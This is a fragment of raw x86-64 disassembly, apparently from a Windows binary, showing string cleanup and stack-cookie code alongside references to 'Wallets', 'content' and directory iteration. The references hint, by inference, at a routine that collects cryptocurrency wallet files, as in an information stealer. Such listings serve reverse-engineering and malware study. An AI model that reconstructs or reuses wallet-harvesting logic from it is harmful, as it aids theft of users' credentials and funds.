lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x478]
call fcn.14003ec00
nop
movzx edx, byte [rax]
movzx ecx, byte [rbx]
mov byte [rax], cl
mov byte [rbx], dl
lea rcx, [rbx + 8]
mov rdx, qword [rax + 8]
mov r8, qword [rcx]
mov qword [rax + 8], r8
mov qword [rcx], rdx
movzx edx, byte [rbx]
call fcn.140040e40
btr edi, 0x14
mov dword [rsp + 0x30], edi
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0xf
jbe 0x14003416a
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140034165
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400345c9
call fcn.1400a9a50
mov qword [rbp + 0xc0], r12
mov qword [rbp + 0xc8], 0xf
mov byte [rbp + 0xb0], 0
mov rdx, qword [rbp + 0x198]
cmp rdx, 0xf
jbe 0x1400341c4
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400341bf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400345cf
call fcn.1400a9a50
mov qword [rbp + 0x190], r12
mov qword [rbp + 0x198], 0xf
mov byte [rbp + 0x180], 0
btr edi, 0x11
mov dword [rsp + 0x30], edi
mov rdx, qword [rbp + 8]
cmp rdx, 7
jbe 0x140034225
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140034220
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400345d5
call fcn.1400a9a50
mov qword [rbp], r12
mov qword [rbp + 8], 7
mov word [rbp - 0x10], r12w
lea rax, [rsp + 0x60]
mov qword [rbp + 0x240], rax
cmp byte [rbp + 0x518], 0
je 0x1400345db
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xor eax, eax
mov qword [rsp + 0x68], rax
lea rdx, [rbp + 0x4f8]
lea rcx, [rsp + 0x60]
call fcn.140052130
nop
lea rax, [rsp + 0x60]
mov qword [rbp + 0x248], rax
lea rax, [rsp + 0x40]
mov qword [rbp + 0x250], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r12
mov r8d, 7
lea rdx, str.content
lea rcx, [rsp + 0x40]
call fcn.1400300a0
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x478]
call fcn.14003ec00
nop
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x60]
mov byte [rax], cl
mov byte [rsp + 0x60], dl
mov rcx, qword [rax + 8]
mov rdx, qword [rsp + 0x68]
mov qword [rax + 8], rdx
mov qword [rsp + 0x68], rcx
movzx edx, byte [rsp + 0x60]
lea rcx, [rsp + 0x68]
call fcn.140040e40
lea rax, [rbp + 0x308]
mov qword [rbp + 0x258], rax
lea rdx, str.Wallets
lea rcx, [rbp + 0x308]
call fcn.14003fc70
nop
mov rdx, rax
lea rcx, [0x14012b1b0]
call fcn.14003ec00
mov rbx, rax
lea rax, [rsp + 0x40]
mov qword [rbp + 0x260], rax
lea rdx, [r14 + 0x28]
lea rcx, [rsp + 0x40]
call fcn.14003fc70
nop
mov rdx, rax
mov rcx, rbx
call fcn.14003ec00
lea rdx, [rbp + 0x478]
mov rcx, rax
call fcn.14003eb20
btr edi, 0x10
mov dword [rsp + 0x30], edi
movzx edx, byte [rbp + 0x478]
lea rcx, [rbp + 0x480]
call fcn.140040e40
movabs rsi, 0x309749640f31dd3f
lea rcx, [rbp + 0x4f8]
call fcn.140030f50
jmp 0x140034397
test ecx, ecx
jne 0x1400345e7
mov rdx, qword [rbp + 0x3d8]
cmp rdx, 7
jbe 0x1400343dd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x3c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400343d8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400345e1
call fcn.1400a9a50
mov qword [rbp + 0x3d0], r12
mov qword [rbp + 0x3d8], 7
mov word [rbp + 0x3c0], r12w
add r14, 0x48
cmp r14, r15
je 0x14003440f
movabs rbx, 0xb85a5c59849e164
jmp 0x140032ef2
call fcn.140031370
call fcn.140031f60
nop
mov rdx, qword [rbp + 0x3f8]
cmp rdx, 0xf
jbe 0x14003445b
inc rdx
mov rcx, qword [rbp + 0x3e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140034456
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140034602
call fcn.1400a9a50
mov qword [rbp + 0x3f0], r12
mov qword [rbp + 0x3f8], 0xf
mov byte [rbp + 0x3e0], 0
mov rdx, qword [rbp + 0x470]
cmp rdx, 0xf
jbe 0x1400344b1
inc rdx
mov rcx, qword [rbp + 0x458]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400344ac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400344ff
call fcn.1400a9a50
mov qword [rbp + 0x468], r12
mov qword [rbp + 0x470], 0xf
mov byte [rbp + 0x458], 0
mov rcx, qword [rbp + 0x950]
xor rcx, rsp
call fcn.1400a9a30
lea r11, [rsp + 0xa70]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14008d658
nop
lea r8, [rbp + 0x408]
lea rdx, [rbp + 0x390]
lea rcx, str.exists
call fcn.14002de50
nop
call fcn.14008d658
nop
call fcn.14008d658
nop
call fcn.14008d658
nop
call fcn.14008d658
nop
call fcn.14008d658
int3
call fcn.14008d658
nop
call fcn.14008d658
int3
call fcn.14002cb80
nop
lea r8, [rbp + 0x408]
lea rdx, [rbp + 0x390]
lea rcx, str.exists
call fcn.14002de50
nop
call fcn.14008d658
nop
call fcn.14008d658
nop
lea r8, [rbp + 0x3c0]
lea rcx, str.status
call fcn.14002dde0
nop
mov r8, rbx
lea rcx, str.status
call fcn.14002dde0
nop
call fcn.14008d658
nop
call fcn.14008d658
nop
call fcn.14008d658
int3
call fcn.14002cb80
nop
lea r8, [rbp + 0x3c0]
mov edx, eax
lea rcx, str.directory_iterator::directory_iterator
call fcn.14002dde0
nop
call fcn.14008d658
nop
call fcn.14008d658
nop
call fcn.14008d658
int3
call fcn.14002cb80
nop
call fcn.14008d658
nop
lea r8, [rbp + 0x3c0]
lea rdx, [rbp + 0x390]
lea rcx, str.exists
call fcn.14002de50
nop
call fcn.14008d658
int3